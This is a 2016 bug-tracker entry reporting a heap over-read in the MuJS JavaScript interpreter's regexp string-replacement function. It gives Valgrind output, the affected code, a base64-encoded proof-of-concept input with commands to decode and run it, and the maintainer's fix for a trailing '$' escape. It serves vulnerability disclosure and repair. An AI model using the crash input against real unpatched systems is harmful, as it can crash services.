Bug 697141 - MUJS library heap based overflow in 'Sp_replace_regexp' function
Summary: MUJS library heap based overflow in 'Sp_replace_regexp' function
Status: RESOLVED FIXED
Alias: None
Product: MuJS
Classification: Unclassified
Component: general (show other bugs)
Version: unspecified
Hardware: PC Linux
: P4 normal
Assignee: Tor Andersson
QA Contact: Bug traffic
URL:
Keywords:
Depends on:
Blocks:
 
Reported: 2016-09-21 05:51 UTC by op7ic
Modified: 2016-09-21 07:22 UTC (History)
0 users

See Also:
Customer:
Word Size: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description op7ic 2016-09-21 05:51:46 UTC
Description: 

This bug is a simple overflow located in function responsible for string substitution. No real impact other than reach beyond allocated stack. It will just crash as a result. 

Source file: 
mujs/jsstring.c:421

Function:
Sp_replace_regexp

Compile Flags
CFLAGS += -g3 -ggdb -O0

Compile Command: 
make

Valgrind short output: 

 valgrind ../../temp/mujs/build/mujs /tmp/replace_regex-PoC1.txt
==62471== Memcheck, a memory error detector
==62471== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.
==62471== Using Valgrind-3.12.0.SVN and LibVEX; rerun with -h for copyright info
==62471== Command: ../../temp/mujs/build/mujs /tmp/replace_regex-PoC1.txt
==62471==
==62471== Invalid read of size 1
==62471==    at 0x427048: Sp_replace_regexp (jsstring.c:421)
==62471==    by 0x427586: Sp_replace (jsstring.c:546)
==62471==    by 0x40C573: jsR_callcfunction (jsrun.c:1015)
==62471==    by 0x40C89D: js_call (jsrun.c:1057)
==62471==    by 0x40E1E5: jsR_run (jsrun.c:1460)
==62471==    by 0x40C3F2: jsR_callfunction (jsrun.c:982)
==62471==    by 0x40C7C9: js_call (jsrun.c:1049)
==62471==    by 0x40E1E5: jsR_run (jsrun.c:1460)
==62471==    by 0x40C4B8: jsR_callscript (jsrun.c:998)
==62471==    by 0x40C83D: js_call (jsrun.c:1053)
==62471==    by 0x4046A1: js_dofile (jsstate.c:152)
==62471==    by 0x401EBB: main (main.c:176)
==62471==  Address 0x551e601 is 0 bytes after a block of size 49 alloc'd
==62471==    at 0x4C2BBCF: malloc (vg_replace_malloc.c:299)
==62471==    by 0x4040C6: js_defaultalloc (jsstate.c:17)
==62471==    by 0x40906E: js_malloc (jsrun.c:34)
==62471==    by 0x40912D: jsV_newmemstring (jsrun.c:55)
==62471==    by 0x40965E: js_pushlstring (jsrun.c:130)
==62471==    by 0x4279CA: Sp_split_string (jsstring.c:636)
==62471==    by 0x427AC1: Sp_split (jsstring.c:656)
==62471==    by 0x40C573: jsR_callcfunction (jsrun.c:1015)
==62471==    by 0x40C89D: js_call (jsrun.c:1057)
==62471==    by 0x40E1E5: jsR_run (jsrun.c:1460)
==62471==    by 0x40C4B8: jsR_callscript (jsrun.c:998)
==62471==    by 0x40C83D: js_call (jsrun.c:1053)
==62471==
SyntaxError: (eval):1: unexpected character: \uFFFD
        at /tmp/replace_regex-PoC1.txt:1
==62471==
==62471== HEAP SUMMARY:
==62471==     in use at exit: 523,337 bytes in 2,003 blocks
==62471==   total heap usage: 2,684 allocs, 681 frees, 1,166,359 bytes allocated
==62471==
==62471== LEAK SUMMARY:
==62471==    definitely lost: 17,272 bytes in 1 blocks
==62471==    indirectly lost: 506,065 bytes in 2,002 blocks
==62471==      possibly lost: 0 bytes in 0 blocks
==62471==    still reachable: 0 bytes in 0 blocks
==62471==         suppressed: 0 bytes in 0 blocks
==62471== Rerun with --leak-check=full to see details of leaked memory
==62471==
==62471== For counts of detected and suppressed errors, rerun with: -v
==62471== ERROR SUMMARY: 287 errors from 1 contexts (suppressed: 0 from 0)

Affected code:

406         if (js_iscallable(J, 2)) {
407                 js_copy(J, 2);
408                 js_pushundefinedthis(J);
409                 for (x = 0; m.sub[x].sp; ++x) /* arg 0..x: substring and subexps that matched */
410                         js_pushlstring(J, m.sub[x].sp, m.sub[x].ep - m.sub[x].sp);
411                 js_pushnumber(J, s - source); /* arg x+2: offset within search string */
412                 js_copy(J, 0); /* arg x+3: search string */
413                 js_call(J, 2 + x);
414                 r = js_tostring(J, -1);
415                 js_putm(J, &sb, source, s);
416                 js_puts(J, &sb, r);
417                 js_pop(J, 1);
418         } else {
419                 r = js_tostring(J, 2);
420                 js_putm(J, &sb, source, s);
421                 while (*r) {
422                         if (*r == '$') {
423                                 switch (*(++r)) {
424                                 case '$': js_putc(J, &sb, '$'); break;
425                                 case '`': js_putm(J, &sb, source, s); break;

Proof Of Concept (base64 encoded): 

base64 /tmp/replace_regex-PoC1.txt
ZXZhbChmdW5jdGlvbihwLGEsYyxrLGUsZCl7ZT1mdW5jdGlvbihkKXtyZXR1cm4gY307aWYoDCcn
LnJlcGxhY2UoL14vJVN0cmluZykpe3doaWxlKGMtSyl7ZFtjXT1rW2NdfHxjfWs9W2Z1bmN0aW9u
KGUpe3JldHVybiBDW2VdfV07ZT1mdW5jdGlvbigpe3JldHVybidcXHcrJ307Yz0xfTt3aGlsZShj
LS0pe2lmKGtbY10pe2QvcC5yZXBsYWNlKG5ldyBSZWdFeHAoJ1xcYicrZShhKSsnXGV8JywnZycp
LGtbY10pfX1yZXR1cm4gcH0oJ42NjY2NjY2NjY2ojY2NjY2Njd6NjY2NjY2NjY2NjY2NjY2NjY2N
jY2NjY2NjY1TdHJpbmd8XzB4MjY0ZXiNjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NMxAo
MjM9a1tjXXx8Y31wPVtmdW5jdGlvbnwyMVwnLjQyKFwnfFwnKSwwLHt9KTMnLDEwLDUyLCfu09PT
09PT09PT09PT05aWlpaWlpaWlpaWlpaWlpaWlpaWlouLi4uLi4uLi4uLi4uLi4uLi4uWlpaWlpaW
lpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlparlpaW
lpaWlpaWlpaWlpaWlpaWlpaWlpaWlnx4MkZ8eDZBfHg2NHx4NDZ8eDQ0fDEwfHx4NzB8eDY3fHg3
JHxzcGxpdFN0cmluZ3xfMHgyNjRleDJ8eDYzfGNvbnNvbGV8eDRBfHgzQXx4MjJ8XFxlXFxJXFxk
XFx2XFxxXFxqXFxkXFx2XFxxXFxsXFxkXFxHXFxxXFxwXFxkXFxVXFxjXFy9XCR8c3BsaXRTdHJp
bmd8XzB4MjY0ZXgyfHg2M3xjb25zb2xlfHg0QXx4M0F8eDIyfHRlbXBlc3RTdHJpbmd8XzB4MjY0
ZYs0fHg1NHxfMHgyNjRleDN8c3BhY2V8eDRGm3g0RHxtb250aFN0cmluZ3x4NDF8eDYyfHg3OXxj
b21tYXx4NzZ8eDc3fHgyRXx4NkR8eDJGfHg2QXx4NjRcXEVcXGVcXElcXGRcXHZcXHFcXGpcXGRc
XHZcXHFcXGxcXGRcXEdcXHFcXHBcXGRcXFVcXGNcXL1cXGRcXERcXHRcXGtcXGRcXFhcXG1cXEtc
XGRcXFNcXGtcXHQiLCJcN2EiLCJcXGRbWl07cih5KkMpO3J8jXx8eDIwfF8weDJiODd8eDY1fHgy
Q3x4NjF8eDcyfHg3M3x4Njl8eDY4fHg2RXx4N1d8eDJFfPI2RHx4MkZ8eDZBfHg2NHx4NDZ8eDQ0
fDEwfHx43jB8eDY3fHg3NXxzcGxpdFN0PWtbY118fGN9cD1bZnVuY3Rpb258MnJpbmd0cmluZ3x4
NDF8eDYyfHg3OXxjb21tYXx4NzZ8eDc3fHgyRXx4eDR1fHg0NHwxMHx8eDcwfHg2N1N0cmluZ3xf
MHx4NEF8eDNBfHgyMnx0ZW1wbGV8eDRBfHgzQXx8eDc5fAFvbW1hfHg3Nnx4Nzd8eDJFfHg2RHx4
MkZ8eDZBfHg2NHx8eDc1fHNw/2l0U3RyaW5nfF8weDI2NGV4Mnx4NjN8Y29uc29sZXx4NEF8eDNB
fHhcZFxcRFxcdFxca1xcZFxcWFxcbVxcS1xcZFxcU1xca1xcdCIsIlw3YSIsIlxcZFtaXTtyKHkq
Qyk7cnyNfHx4MjB8XzB4MmI4N3x4NjV8eDJDfHg2MXx4NzJ8eDczfHg2OXx4Njh8eDZFfHg3V3x4
MkV88jZEfHgyRnx4NkF8eDY0fHg0Nnx4NDR8MTB8fHjeMHx4Njd8eDc1fHNwbGl0U3Q9a1tjXXx8
Y31wPVtmdW5jdGlvbnwycmluZ3RyaW5nfHg0MXx4NjJ8eDc5fGNvbW1hfHg3Nnx4Nzd8eDJFfHh4
NHV8eDQ0fDEwfHx4NzB8eDY3U3RyaW5nfF8wfHg0QXx4M0F8eDIyfHRlbXBsZXx4NEF8eDNBfHx4
Nzl8AW9tbWF8eDc2fHg3N3x4MkV8eDZEfHgyRnx4NkF8eDY0fHx4NzV8c3D/aXRTdHJpbmd8XzB4
MjY0ZXgyfHg2M3xjb25zb2xlfHg0QXx4M0F8eDIyfHRyaW5nfF8weDI2NGV4NHx4NTR8XzB4MjY0
ZXgzfHNwYWNlfHg0Rnx4NER8bW9udGhTdHJpbmd8eDQxfHg2Mnx4Nzl8Y29tbWF8eDc2fHg3N3x4
MkV8eDZEfHgyRnx4NkF8eDY0fHg0Nnx4NDR8MTB8bjUzfDExfDEyfHg0RXxmdW5jdGlvbp8xMycu
c3BsaXQoJ3wnKSwwLHt9KSkKCg==


Proof Of Concept execution:
base64 -d /tmp/b64PoC.poc > /tmp/proof.txt
valgrind ../../temp/mujs/build/mujs /tmp/proof.txt
Comment 1 Tor Andersson 2016-09-21 06:41:14 UTC
Could you provide a simplified example that actually runs?

The provided example fails with

SyntaxError: (eval):1: unexpected character: \uFFFD
        at proof.txt:1
Comment 2 Tor Andersson 2016-09-21 06:42:39 UTC
Ignore my previous comment; I can reproduce the error.
Comment 3 Tor Andersson 2016-09-21 07:22:32 UTC
commit 5000749f5afe3b956fc916e407309de840997f4a
Author: Tor Andersson <tor.andersson@artifex.com>
Date:   Wed Sep 21 16:02:11 2016 +0200

    Fix bug 697141: buffer overrun in regexp string substitution.
    
    A '$' escape at the end of the string would read past the zero terminator
    when looking for the escaped character.